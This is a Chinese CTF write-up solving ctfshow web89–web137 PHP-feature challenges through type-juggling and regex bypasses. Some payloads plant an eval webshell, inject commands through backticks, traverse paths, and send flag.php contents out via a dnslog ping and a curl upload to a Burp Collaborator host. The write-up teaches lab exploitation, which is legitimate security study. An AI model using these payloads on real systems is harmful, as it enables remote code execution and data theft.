web89

这题的逻辑是如果存在$_GET['num'],则用正则表达式匹配$num中的值,如果成功匹配则程序终止于"no no no",否则进行下一步,如果intval($num)有正确的返回值,则输出$flag。

解题思路:该题要求传入的值不能有数字,那我们的话可以利用preg_match的一个漏洞,即无法处理数组,从而进行绕过正则匹配,同时intval函数处理一个数组有正确的返回值,可以达到输出flag的目的。

payload :

num[]=

num[]=任意的东西都可以

intval(array())的返回值为0,然而if(0)是不能输出flag的,所以这里的话来个小测试,测试传入一个num[]= NULL,经intval处理后返回的值是什么

不难看出,传入一个num[]= ,经过处理后的值为1,所以web89中的if(intval($num))可以正常执行。对于这个,我的理解是num[]= ,也算是传入了值的(传入了空吧),所以经intval()处理后的值为1。

web90

这题的话要求传入的num的是十进制值不等于4476,同时intval($num,0)的值全等于4476。所以这里的话我们运用一下intval()函数的特性。

payload:

?num=0x117c      //4476的十六进制为117c?num=010574      //4476的八进制为10574?num=4476a       //intval()中如果$base=0,则$var中存在字母的话遇到字母就会停止读取,传入4476a会将后面的a丢弃

web91

写这题的话也发现了一些问题,自己的正则还是不怎么会,所以还得多翻翻全集......正本表达式全集

理解一下这题的逻辑,第一个if多行匹配'php'(只能是'php',不可以是'adsasphp'之类的),如果匹配到则进行下一个if判断;第二个if单行匹配'php',没匹配到则输出flag。em.......那我们这里利用%0a来绕过。

payload:

?cmd=%0aphp?cmd=php%0aphp?cmd=任意字符%0aphp

因为%0a是换行,第一个if匹配多行可以满足条件,第二个if只能匹配第一行,该行不能有php,所以可以输出flag。

解释一下为什么php%0aphp也可以成功,因为我们传入的是%0a,在文件夹的显示(如下图)

(图片来自ctfshow_web入门 PHP特性 - upstream_yu - 博客园 (cnblogs.com))

所以我们传入一个php%0aphp是分为两行,第一行是php CRLF,第二行是php,所以在第二个if处第一行匹配不成功。

查看题目的himt,里面有个关于文件上传的漏洞

Apache HTTPD 换行解析漏洞(CVE-2017-15715)与拓展

利用最新Apache解析漏洞(CVE-2017-15715)绕过上传黑名单

web92

刚看到这题就感觉和web90差不多,试了web90的两个payload也可以得到flag

?num=0x117c      //4476的十六进制为117c?num=010574      //4476的八进制为010574

仔细看了一下,原来差别在于弱类型比较

这题的话学会一个新的方法,利用e这个特殊字母构造payload绕过

?num=4476e233

在第一个if弱类型比较,$num中4476e233会当作科学计数法4476*10^233,而在第二个if中,当$base=0时,intval()遇到字母就停止读取(这里看不懂的回头看一下web90,说得很详细了),因此是4476,满足条件从而输出flag。

web93

题目也差不多和web92的一样,第二个if还是弱类型比较,只是在第三个if处多了一个正则匹配/[a-z]/i,意思是匹配a-z的字母且不区分大小写。所以第三个if是判断如果在$num中匹配到a-z的字母(不区分大小写),则程序终止,输出no no no。

第四个if的判断还是熟悉的intval($num,0),要求$num中不能有字母,意味着前几题十六进制的解法不能用,上一题的4476e233的解法也用不了。

所以仔细想想就可以知道,这里还剩下八进制的解法,传入的$num全为数字。

payload:

?num=010574    //4476的八进制是10574,0开头在intval()代表是八进制数

web94

94的话相较于93多了一个过滤条件,查找0在$num出现的位置,匹配不了返回null,直接传八进制数010574进去是行不通的,因为0不能在首位。

这里可以用+号,url编码,加小数点绕过.....

payload:

?num=4476.01?num=+010574?num=%20010574?num= 010574?num=%0a010574?num=%2b010574

第一个payload的话4476.01经过intval($num,0)的处理会变成int类型的4476,我们看一下本地调试的结果

剩下几个payload的话,我感觉是经过url解码后的一些不可见字符占据了一个位置,让010574中的第一个0处于第二位,以下是我在本地调试的结果。

web95

95的话转义了. ,用不了4476.01这个payload,但是我们的其它payload还是可以用的......

web96

这题刚开始拿御剑扫,用bp抓包等一系列操作都没发现有用的信息.......最后查看himt,原来还是自己积累少了。在linux下面显示当前目录的flag.php文件是 ./ php

payload:?u=./flag.php

web97

这题要求传入的a的值和b的值不相等,同时a和b的MD5值相等才能输出flag,有两种方法。

一、数组绕过:

payload:

a[]=1 & b[]=2

利用md5()函数无法处理数组,如果传入的是个数组,md5处理后都返回NULL,所以第二个if处的强比较可以相等。

第二种方法,md5碰撞:

简单来说就是两个不一样的数据经过MD5计算后会出现相同的MD5码,至于为什么会出现相同的,复杂的说需要用信息论的东西来解释。有兴趣的朋友可以继续拓展。

下面的链接前两个是关于MD5碰撞的讲解

MD5碰撞 - Devil_Zhang - 博客园

MD5碰撞的意思_Anakki的博客-CSDN博客_md5的碰撞

在bp里面传payload:

a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2
&b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2

a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

web98

这题的考点是三元运算符和变量覆盖, 我们先看一下三元运算符的语法格式

$_GET?$_GET=&$_POST:'flag';的意思是说,如果存在GET请求,则用POST请求传递的东西覆盖掉GET请求。

highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);的意思是如果GET请求传参HTTP_FLAG的值为flag,则输出$flag。

所以我们可以直接在post处传HTTP_FLAG=flag,再在GET处传一个flag=xxx,因为存在GET请求,POST传递的HTTP_FLAG=flag会将GET请求覆盖,从而相当于直接传了一个GET请求HTTP_FLAG=flag,满足题目条件。

GET:

?flag=xxx

POST:

HTTP_FLAG=flag

web99

做题的目的是为了学习嘛,所以下面补充了一些函数和知识点,师傅们一起进步

了解完这些函数,说一下这题的逻辑,首先题目定义了一个$allow的空数组,用for循环从$i=36开始到$i=877(0x36d的十进制值是877),在$allow的数组末尾插入rand(1,$i)得到的随机数;

然后判断是否存在GET请求传参n和参数n的值是否在数组$allow里面,如果是则进行下一步,将POST请求传递参数content的值写入GET请求传递参数n的值中。

我们可以思考一下,每一次产生的随机数rand(1,$i)都会写进数组$allow里面,$i是从36开始递增到877,即每一次随机数是rand(1,36),rand(1,37),rand(1,38).....rand(1,876);每一个的范围都有1,所以$allow数组里面有1是一个大概率事件。

我们可以这样构造GET请求,?n=1.php,因为in_array()这个函数是弱比较,1.php和数字1比较时,1.php会转化为1再和1比较,在$allow中可以满足题目条件。

其次,我们构造POST请求content=<?php @eval($_POST['2']);?> ,构造这个是为了通过file_put_contents将一句话木马写入1.php中。

接下来访问一下1.php,同时输入命令查看目录下的文件

发现一个flag36d.php文件,直接tac查看文件

web100

这题有两种方法:

第一种方法考察的是and和&&的区别,以及RenflectionClass类的使用,这里补充一些函数知识点

接下来在本地测试一些and和&&的区别:

所以这题我们只要第一个v1传进去的是数字就可以使v0为true,从而进入第一个if中。后面第二个if处是要求v2中没有;,第三个if是要求v3有;,所以我们构造最简单的方法输出这个类即可,即构造出echo new RflectionClass('ctfshow');

paylaod:

?v1=1&v2=echo new ReflectionClass&v3=;

得到flag后要把0x2d改成-。

第二种方法:

v1和上面的一样还是1没有改变,进入第一个if。在第二个if处要求v2不能带有;,我们可以构造v2=eval($_POST[1])?>,执行之后直接与开头的<?php闭合。又因为v3要求要有;,所以完整的payload为:

?v1=1&v2=eval($_POST[1])?>&v3=;

这里说一下为什么要用eval($_POST[1])?>,而不是直接$_POST[1]?>,如果我们用后者,传值进去后经eval()首先会把这个东西当成一个字符串处理,处理完后从eval($_POST[1]?>('ctfshow');)变成$_POST[1]?>('ctfshow');,如果我们不在$_POST[1]?>前面加一个eval(),我们传进去的命令只会是字符串,是无法执行的。

用了payload后可以直接POST请求发送命令查找文件,也可以直接在蚁剑连接拿到shell翻后台文件。

web101

ou,原来100的第二种方法是非预期解.......那行吧,就直接用web100的第一种方法吧,得到flag要把0x2d换成-,才是真的flag,好了就这样结束这一天吧,干饭开始。

web102

这道题的思路很妙,我们先看一下它代码执行的逻辑。用is_numeric判断v2和v3是否是数字,通过前面的几题我们知道,由于是and连接,只需要v2是数字,v3是任何东西都能进入if里面。

然后if里面取v2第二位开始后的字符作为$s,再让$str等于call_user_func($v1,$s),将$str的字符写入$v3中。

PHP: call_user_func - Manual

如果是在php5的环境中,我们可以采取下面这种方法:

is_numeric函数在php5中是可以识别十六进制的,也就是说,如果我们get传入v2=0x3c3f706870206576616c28245f504f53545b315d293b3f3e(<?php eval($_POST[1]);?>的十六进制),is_numeric也是可以将其识别成数字的。

get传进去的v2经过题目的substr($v2,2)后得到的字符为3c3f706870206576616c28245f504f53545b315d293b3f3e,同时我们get一个v3为1.php,post传一个v1为hex2bin,代码执行后hex2bin函数会将十六进制转化为我们的一句话木马,再写入1.php中。所以我们的payload可以这样构造,让先GET请求传

?v2=0x3c3f706870206576616c28245f504f53545b315d293b3f3e&v3=1.php

POST:

v1=hex2bin

但这种方法在本题中是不行的,我们可以用下面这个方法查看一下php版本大于php5

 所以这题的解法是利用伪协议php://filter/write=convert.base64-decode/resource=1.php写入:

探索php://filter在实战当中的奇技淫巧_WHOAMIAnony的博客-CSDN博客

get:v2=???&v3=php://filter/write=convert.base64-decode/resource=1.php
post: v1=hex2bin

经过师傅们巧妙地构造,得到一个既可以绕过is_numeric检测又可以执行命令的数字:

$a=5044383959474e6864434171594473;    //带e会被认为是科学计数法,可以通过is_numeric的检测$b=hex2bin($a);    //PD89YGNhdCAqYDs=$c=base64_decode($b);    //<?=`cat *`;

在<?=`cat *`;中,<?是短标签相当于<?php,然后=相当于echo,cat *是获取任意文件内容

同时因为经过substr处理,v2前面还要补00,payload:

GET请求:

?v2=005044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.php

POST:

v1=hex2bin

写入成功后访问1.php查看源代码即可得到flag。

web103

这题的话只是多了正则过滤"/.*p.*h.*p.*/i",这个过滤是没有什么作用的,因为它是在$str中匹配,而我们用上一题的payload经过代码执行后得出的$str为PD89YGNhdCAqYDs=,是没有被正则匹配到的,所以可以用上一题的payload。

web104

感觉这题有点送分,可能是出题出失误了吧,难度很低。这题我们要明白shal函数是一种加密方式,出题人的本意可能是让我们懂得几个经过shal函数处理后得到的字符串弱比较相同的字符。

非预期解:

get:  ?v2=apost:   v1=a

预期解:

get:  ?v2=aaK1STfY   //经shal函数处理后的报文为0e76658526655756207688271159624026011393post:  v1=aaO8zKZF   //经shal函数处理后的报文为0e89257456677279068558073954252716165668

web105

这题的话考察变量覆盖,有两个payload,既然网上其它的wp都不详细讲是吧,那我来吧。首先得弄懂foreach这个函数和它的几种形式PHP: foreach - Manual

第一个payload:

get: ?suces=flagpost: flag=

这个是利用die($suces)这个输出点,先get一个suces=flag,在第一个foreach处进行判断$key(flag)不等于error,进行下一步$suces=$flag,将flag的值赋给suces。

接下来是post一个flag=NULL,在第二个foreach处进行判断$value不等于flag,进行下一步$flag=$NULL=NULL。从而在下一个if处可以满足$_POST['flag']==$flag,即NULL=$flag=NULL,不让程序终止,从而在die($suces)处输出flag的值。

第二个payload:

get: ?a=flagpost: error=a

这个payload是利用die($error)这个输出点,先get一个a=flag,在第一个foreach处可以通过if的检测,从而进行$a=$flag,得到flag的值。

然后是post一个error=a,在第二个foreach处可以通过if的检测,从而进行$error=$a,因为$a=$flag,所以$error=$flag。最后进行最后一个if的判断,由于我们没有传flag的值,所以flag的值为NULL ,不满足条件,程序停止在die($error),输出flag。

web106

这题没什么好说的,web104的预期解,就是利用加密后生成报文的弱比较。

web107

这题的话也挺简单的,先来了解一下parse_str函数吧,做这题得懂得它的这个用法

PHP parse_str() 函数

该题的重点部分为parse_str($v1,$v2),我们可以猜测v2是一个数组,接下来看到下面if的$v2['flag']可以确定了v2的确是个数组。所以我们要post一个v1的值为flag=???,get一个v3=???,使flag的值等于md5函数处理v3后的值。解题思路就很清晰了,利用弱比较来做。

payload:

get :  ?v3=s1502113478a      //md5加密后为0e861580163291561247404381396064post :  v1=flag=0e509367213418206700842008763514

web108

这题感觉还行,查了一些网上的资料,发现重点是ereg这个正则的绕过,php中ereg函数的截断漏洞_qq_25987491的博客-CSDN博客_ereg函数绕过

 这题的话利用第一个%00截断,payload:

?c=q%00778

q存在的意义是为了满足正则匹配到字符,遇到%00时认为字符串已经结束了,所以可以绕过ereg。然后strrev这个函数是反转字符串,我们传入的c经过反转后变成877q,intval(877q)=877(0x36d的十进制为877),正好满足输出flag的条件。

这题到这里就结束了,我突发奇想,intval()存不存在00截断,接下来在本地试一试

发现确实存在,又是一个新姿势的学习。

web109

这题的话代码很简单,但是想理解通透还是有点难度的。我们想要直接输出一个“new $v1($v2();”的前提是$v1必须是一个带有构造__construct和魔术方法__toString的类,我们看一下本地测试。

这是正常的调用方法:

如果我们直接输出一个类,它会报错类对象不能转换为字符串

想直接输出的前提的类里面带有__toString这个魔术方法:

这里的ctf约等于我们题目的v1,1111约等于我们题目的v2

题目没有给我们类,所以我们只能用内置类。首先得找出带有这种构造和魔术方法的类,能返回我们的结果。可以在php文档查找,这里有两个,一是Exception,二是ReflectionClass,给出链接可具体查看一下。

http://c.biancheng.net/view/6253.html

PHP: ReflectionClass - Manual

接下来返回题目,看到$v2后面有一个(),这个牵扯到php动态调用。只要是变量后面紧跟着(),那么对这个变量进行函数调用。

用几行代码说明一下这个调用,假如有

$a = 'phpinfo';   $a();

程序先把a的值拿到,然后看到$a后面紧跟着(),程序就会进行动态调用,调用phpinfo()这个方法。那么我们是不是可以直接传给v2一个函数,让它进行调用,然后v1传一个带有构造和魔术方法的类帮我们返回结果?我们在题目这里试一下。

可以看到是可以这样做的,那么接下来我们再深入理解一下,我们传的v1不变,我们的v2改为system("echo phpinfo"),看看会怎么样。

这样会成功的原因是v2获得system("echo phpinfo")的值后,变成eval("echo new exception(system("echo phpinfo")();"),但是system("echo phpinfo")是通过变量赋值来得到的,不会执行系统命令,我们在本地看一看二者的区别。

直接通过变量获取的system是不能执行命令的

得通过eval来执行命令,我们看一下eval函数得注意的点 PHP: eval - Manual

例如这样子,会返回捕获的值phpinfo。

如果加个()动态调用呢?结果会如何?会返回已捕获的phpinfo()调用的值。

我们再换成system("echo phpinfo")()呢?因为有个eval可以执行通过变量得到的system,该代码会先捕获system("echo phpinfo")返回的值(即phpinfo),并输出到页面端。同时最后一行变成eval("echo phpinfo();");捕获phpinfo调用的结果,并返回到页面端。

如果不是通过变量传递得到的system命令,是可以直接执行的,不需要eval。

懂了这些,剩下的操作就简单了,v1还是不变,v2改为system(ls),看看。

看得出来还是执行成功的,因为v2获得值后先执行了ls的命令,然后将返回的目录回显的页面端。再进行函数调用,当然这里肯定是调用失败的,不过这没有关系,我们还是得到了文件名。

其实还可以这样子做,先用//把后面的东西注释掉,注释了后面的东西前面的(肯定没有东西进行闭合,所以我们得手动添加一个),同时又因为;被注释掉了,我们也得手动添加一个;。

得到了文件名发现有fl36dg.txt,直接在url访问就可以找到flag了。

web110

这题的话过滤了很多符号,也过滤了数字,自己写的话确实想不到什么思路。看了一下群主的视频明白了一下,其实禁用了这么多,只能构造一个类和函数来扫描目录得到文件名,然后访问文件名得flag了。所以这里就得找一个类(FilesystemIterator)返回文件名。PHP: FilesystemIterator - Manual

payload:

?v1=FilesystemIterator&v2=getcwd

FilesystemIterator和 DirectoryIterator的区别是前者遍历文件的类,后者则是遍历目录的类。

那么为什么不用scandir代替getcwd呢?我们来看一下getcwd的语法PHP getcwd() 函数

再看看scandir的

可以清晰地看到,scandir需要一个必需参数,但是在该题中我们传不进去这个必需参数,如果直接使用的话是不会返回任何东西的。

web111

这题又是一个新知识的学习,我做这题的时候想到直接传v1=ctfshow&v2=flag,让$ctfshow这个变量得到flag的值然后输出。

但是这根本行不通,这是因为$$v1=&$$v2是在getFlag这个声明的方法内部,如果不是经过传参进来的话,方法内部是无法直接使用外部的变量的。所以这个时候就得使用我们的全局变量GLOBALS,让$ctfshow输出所有变量的值。

PHP: $GLOBALS - Manual

payload:

?v1=ctfshow&v2=GLOBALS

web112

这题的话转义了//等符号,也过滤了一些字符。然后该题if处检查$file是不是一个正常的文件,如果不是则高亮filter($file),这里可以用php伪协议来绕过。

payload:

?file=php://filter/resource=flag.php

可以用的原因是php://filter是一个伪协议,是一个整体,服务器不会分开解析对/进行转义。

web113

这题的话多过滤了一个filter,意味着我们不能用上一题的解法,有两个payload,第一个是利用zip伪协议来读取文件。PHP: zlib:// - Manual

payload:

?file=compress.zlib:///var/www/html/flag.php

至于为什么用compress.zlib而不是用compress.bzip2,我们看一下php文档的介绍

我去查了一下这两个的区别,发现gzopen()可以读取非zip的文件,而bzopen()好像没有这个功能,所以用不了吧。PHP: gzopen - Manual

第二个payload:

?file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php

这个payload是利用/proc/self/来读取文件内容,/proc/self/目录的意义_dillanzhou的博客-CSDN博客_/proc/self

至于为什么前面要这么多/proc/self/root是为了制造目录溢出,从而让is_file函数判断这不是一个正常的文件,从而形成高亮,最后读到flag文件。

web114

这题的话和前两题差不多,这里竟然没有过滤filter,那么直接用112的payload就可以打了。

payload:

?file=php://filter/resource=flag.php

web115

这题的话参考别人的脚本(https://blog.csdn.net/sxsj333/article/details/109336664)直接爆破出payload:

?num=%0c36
<?php
function filter($num){$num=str_replace("0x","1",$num);$num=str_replace("0","1",$num);$num=str_replace(".","1",$num);$num=str_replace("e","1",$num);$num=str_replace("+","1",$num);return $num;
}
for ($i=0; $i <=128 ; $i++) { $num=chr($i).'36';if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){echo urlencode(chr($i))."\n";}
}
?>//爆出%0c

web123

这题的话重要的一点是懂得php的转换的规则,当变量名中有不合法字符时,点(.)会转换为下划线。

所以如果我们直接传CTF_SHOW.COM是会被转换成CFT_SHOW_COM的,绕过的话这里要利用它的判定规则,当变量名中存在两个不合法字符时,只转换前面的那一个。[和.并存时,会转换前面的[,而[转换之后恰好为_,从而可以绕过。

该题要求存在POST的CTF_SHOW和CTF_SHOW.COM,并且不存在GET的f10g,才能进入判断。如果满足if的条件,则eval("$c".";")。测试的时候发现禁用了很多函数,像什么phpinfo(),print_r都禁用了,但是echo是可以用的,所以这里可以直接输出flag。

payload:

POST:    CTF_SHOW=1&CTF[SHOW.COM=1&fun=echo $flag

当然做题是为了学习嘛,所以这里也说一下利用其它函数的做法。

PHP: implode - Manual   PHP: get_defined_vars - Manual

利用get_defined_vars()函数将变量返回到数组中,然后再用implode将数组输出来。

payload:

CTF_SHOW=1&CTF[SHOW.COM=1&fun=echo implode(get_defined_vars())

到这里的话差不多结束了,最后学习一个命令执行的姿势吧,虽然在这题行不通,但可能以后会用到。

web125

md,看到这题的时候直接一目十行,没看到也过滤了flag,搞得我直接highlight_file(flag.php),自闭了。这个利用的是上一题最后的那个思想,类似于动态执行吧。

payload:

POST : CTF_SHOW=1&CTF[SHOW.COM=1&fun=highlight_file($_GET[1])GET :   ?1=flag.php

web126

这题的话打印类的命令,如果echo、print、var_dump、highlight_file、show_source都禁用了,可以考虑一下变量覆盖。

payload一:

GET:   ?s=1+fl0g=flag_give_me    //这里的s可以换成其它字符
POST:  CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])
or

这里是利用题目开始所给的$a=$_SERVER['argv'];来做,借别人的博客来理解一下这个东西吧

【php-零碎知识】$_SERVER['argv']_阿佐的博客-CSDN博客

脚本的argv执行参数可在php里面将index.php的执行参数(a=1+fl0g=flag_give_me)以数组的形式调入,同时以空格为分隔符,例如ls aa,这个array[0]=ls,array[1]=aa。我们在payload有一个+号的原因就是这个,被调用后+会转换为空格。(直接用空格替代加号的话好像会被服务器认为这是一个连续的字符)

接着我们的payload调入后变成a[0]=s=1,a[1]=fl0g=flag_give_me。在POST处利用parse_str($a[1])解析出$fl0g的值为flag_give_me,从而完成变量覆盖,输出flag。

payload二:

GET:   ?$fl0g=flag_give_me
POST:  CTF[SHOW.COM=&CTF_SHOW=&fun=assert($a[0])

这个解法也是基于$a=$_SERVER['argv'];这个东西来做,被调入后a[0]=$fl0g=flag_give_me,然后POST处利用assert($a[0])给$fl0g赋值flag_give_me,从而满足条件输出flag。 PHP: assert - Manual

web127

这题的重点是学会这个$_SERVER['QUERY_STRING'];东西,下面附带一篇博客和实例。PHP中$_SERVER["QUERY_STRING"]函数_an4455的博客-CSDN博客

简单来说,$_SERVER['QUERY_STRING'];就是获取url后面的参数和值,明白了这点可以进行下一步分析题目逻辑了。题目要求不能被正则匹配到,才能继续执行下面的代码。extract($_GET)在这题暂时不用到,绕过了第一个if,直接让$ctf_show满足条件输出flag。

但存在一个问题_在变量名中不能被匹配到,那我们用其它符号代替。做前面题目的时候我们知道[和空格这些不合法字符在变量名中会被转换为_,但[被过滤了,只能用空格。

payload:

?ctf show=ilove36d

web128

这题要求传入的f1不能有数字和字母,才能执行下一步的var_dump(call_user_func(call_user_func($f1,$f2)));利用两个call_user_func进行函数回调,这里的话利用gettext和get_defined_vars来构造payload。

PHP: gettext - Manual

payload:

?f1=_&f2=get_defined_vars    //gettext()的别名是_(),即_()===gettext()

简单的说gettext("xxx")就是获得xxx的值,get_defined_vars是返回由所有已定义变量所组成的数组。经过第一个call_user_func的处理,var_dump(call_user_func(call_user_func($f1,$f2)));变成了var_dump(call_user_func(get_defined_vars));,再经一次调用后输出数组的信息,里面含有flag。

web129

这题的代码很简单,先是利用stripos(不区分大小写,strpos区分大小写)查找ctfshow在$f中出现的位置,如果大于0,则进行下一步的echo。看到readfile,我们可以尝试一下目录穿越。

PHP: readfile - Manual

一般题目所处的位置是/var/www/html/index.php,我们用../ctfshow/../html/index.php来测一下。发现可以成功,因为第一个../返回到html目录,然后html目录下没有ctfshow这个文件,执行下一个../返回到www目录,再接下来在www目录下的/html/index.php寻找index.php这个文件。

所以我们的payload为:

?f=../ctfshow/../html/flag.php   //都是查看源代码得到flag或?f=/ctfshow/../var/www/html/flag.php

第二个payload中ctfshow前面的/是直接返回根目录的意思,然后再查找是否有ctfshow这个目录,有则进入这个目录,无进行下一个../。这题这里是有的ctfshow这个目录的,可以自己去测一下。因为有这个目录,所以还需要../返回根目录,然后在根目录下进入var目录,紧接着一步步进入/www/html/flag.php,最后查看源代码得到flag。

web130

这题的话出乎意料,没想到这么简单。先来了解一些,正则匹配的模式和修饰符吧。

正则表达式 – 修饰符(标记) | 菜鸟教程

https://www.jb51.net/article/183106.htm

正则表达式 贪婪匹配和懒惰匹配_u010865136的专栏-CSDN博客_正则 贪婪

payload:

post: f=ctfshow    或 f[]=     

第一个payload因为正则匹配要求开头到ctfshow不能有一个字符,我们的ctfshow正好满足,然后第二个if返回的值为0,0不全等与FLASE,所以可以输出flag。

第二个payload是数组可以绕过正则匹配,同时stripos()处理数组返回NULL,NULL不全等于FLASE,可以输出flag。

web131

这题是利用正则匹配有一定的长度限制,超过长度直接返回flase,一般的waf和过滤默认是一百万个字符长度,在命令执行和前面的过滤中也可以这么做。

我们在本地用代码生成一百万个字符,后面连接36Dctfshow,可以满足第二个if的条件。

生成的代码:

<?php
echo str_repeat('very', '250000').'36Dctfshow';

将生成的字符直接psot就可以了

web132

这题前面的铺垫有点妙,虽然是php特性系列,但是提醒了我时刻都不要忘记基础的东西。打开的话是下面这个界面,到处翻啊翻,没有思路的时候可以尝试一下robots协议等基础的东西。

在url后面加上robots.txt,发现有个admin

直接访问admin,看到题目

这题的话感觉还是比较简单的,这种考察的就是&&和||组合在一起的使用。讲一下我做这题的思路吧,直接看到第二个if的地方。假设要令三个条件都为真才能进入下一步的话,第一个mt_rand()真随机数无法猜测出现的结果,第二个条件$flag的值也不知道,只有第三个条件可以满足。

同时这里也没有其它的函数,变量覆盖什么的也没有,其它的输出点也没有,所以这时候猜测一下(flase && flase ||true)=true,接下来在本地调试一下。

好了,结果出来,猜测是对的。那么这题的payload就很简单了。

payload:

?username=admin&password=1&code=admin

username的值满足第二个if的最后一个条件,得到一个ture。同时password的值题目要求必须存在,它的值为1,不等于$flag得到flase。code的值为admin在第二个if处不相等得到flase,但在第三个if处等于可以输出flag。

web133

这题的话正则过滤很多东西,同时只能取六个字符,这种情况直接执行命令长度肯定是不够的,可以测试一下`$F`这种传递参数本身的形式,从而完成变量覆盖行不行。

我们先传递?F=`$F`; sleep 1(;后面有个空格,换成+也可以,但是;一定不能换成其它符号),好像网站确实sleep了一会,换成?F=`$F`; sleep 5,两者对比一下,发现确实执行了命令。

#为什么会这样呢#

因为我们传递?F=`$F`; sleep 1,substr函数先进行截断得到`$F`; ,然后去执行eval()函数

eval函数的作用是执行php代码,``是shell_exec()的缩写,该函数通过shell执行命令并以字符串的形式返回完整的输出。

而此时$F就是我们输入的`$F`; sleep 1,即$F=`$F`; sleep 1,执行之后的代码应该是

``$F`; sleep 1`,因为这个等价于shell_exec(`$F` sleep 1);,此时`$F`的相当于一个字符串的形式,然后这个东西不是cmd命令,属于无效命令。接着到sleep,属于cmd命令,是有效命令,可以执行成功。

懂了可以通过变量覆盖执行命令,可能有的师傅会想直接?F=`$F`; cat 'flag,php',这样子做可能得到了文件内容,但是你要echo shell_exec(`$F` cat 'flag.php');才能得到回显,所以是行不通的,下面介绍两种方法。

第一种利用ping命令带出数据:

先在dnslog平台获取短域名

payload:

?F=`$F`; ping `cat flag.php |grep ctfshow |tr -cd "[a-z]"/"[0-9]"`.1mh0m7.dnslog.cn -c 1

这里的payload是先执行了ping命令,然后ping的内容里面有`cat flag.php.......`,再获得这个文件的内容。后面的一些是过滤的命令,下面有链接去了解一下。ping  .........-c 1的意思是发送一条数据后停止,因为二级域名不能接收那么多信息,所以需要上面的过滤和ping...-c 1。

https://segmentfault.com/a/1190000006078207

Linux tr命令 | 菜鸟教程

Centos Ping 命令 -C 方法的解析 - GBlWang - 博客园

可能会由于网络问题,回显较慢或者执行不成功,多试两次就好了,记得点击刷新。

得到flag后我们要改一下格式,观察题目的id格式为8-4-4-12,8代表八位字符,后面的4和12也是这个意思,按照这个格式添加-就好了。

第二种解法是利用curl带出flag.php:

原理是利用curl -F 将flag文件上传到Burp的 Collaborator Client ( Collaborator Client 类似DNSLOG,其功能要比DNSLOG强大,主要体现在可以查看 POST请求包以及打Cookies。

先打开bp,进入Collaborator Client

点击复制到剪贴板获取域名地址

然后回到题目的页面发送payload

#其中-X POST 表示以post的形式发送
#其中-F 为带文件的形式发送post请求
#aaa是上传文件的name值(这个可以随意更改,无影响),flag.php就是上传的文件
#payload的@不可去掉,@应该是上传的文件的名字标识
?F=`$F`;+curl -X POST -F aaa=@flag.php  http://m1o2t9z7ohmt4sl94cipml54dvjl7a.burpcollaborator.net

https://blog.csdn.net/zhujy5/article/details/88391070

在题目处执行成功后返回bp刷新查看,在响应那里就可以看到flag了。

web134

这题的姿势确实骚,颠覆了我的认知.....只能说学到了,学到了。

题目不允许get或者post传key1、key2,所以我们思路肯定是要利用已给的函数来做,$_SERVER['QUERY_STRING']是获取get请求?后面的内容;parse_str是将查询到字符串解析到变量中;重点是extract(),该函数是从数组中将变量导入当前的符号表。

我们在本地测试一下,发现输出的结果array(1) { ["key1"]=> string(3) "36d" },经过extract函数的处理会得到key1=36d。

 payload:

?_POST[key1]=36d&_POST[key2]=36d

web135

135的话多过滤了curl、cat等字符,用133的ping方法还是可以行得通的,只不过得换个命令。

首先的话还是得去dnslog申请一个短域名,然后再回题目输入payload:

?F=`$F `;  ping `nl flag.php |awk 'NR==15'|tr -cd "[a-z]"/"[0-9]"`.ybqb0e.dnslog.cn -c 1

NR是awk的内建变量,表示从第几行开始读,做了这么多题可以知道flag一般在第十五行,所以上面payload中NR==15,不过读出来只是一半的flag,还需要换成NR==16才能得到完整的flag。

每天一个linux命令(11):nl命令 - peida - 博客园

Linux awk 命令 | 菜鸟教程

第二种解法的话比较简单,这题没有禁止写入文件,我们可以直接将flag.php写入一个文件中

payload:

?F=`$F`; nl f*>1.txt

这里的*是通配符,表示匹配一个或多个字符,这里f*换成flag.php也是一样的;>符号是将加上行号的flag.php文件输出到1.txt里面。执行payload后,直接访问url/1.txt得到flag。

web136

这题的话看到exec函数,不太懂,去搜了一下,感觉又是利用命令来执行得到flag。 linux下的exec命令_再闹东海7的博客-CSDN博客_exec

查看代码发现ls和cat没过滤,首先ls查看一下有哪些文件。试了一下,发现没有回显

那可能要输出到一个文件内,但是>符号已经被ban掉了,只能查找其它命令了,这里有一个tee命令       Linux tee命令 | 菜鸟教程

所以直接?c=ls /|tee 1,ls /是获取根目录下的所有文件目录,在url中访问1,下载文件发现有个f149_15_h3r3。

用cat命令将其保存在2,?c=cat /f149_15_h3r3|tee 2,想刚才那样访问2下载文件就可以得到flag。

web137

这题的话确实没有难度,考点就是懂得 call_user_func()函数的使用和static静态变量的调用。

PHP: call_user_func - Manual

PHP之static静态变量详解 - 飞龙在生 - 博客园

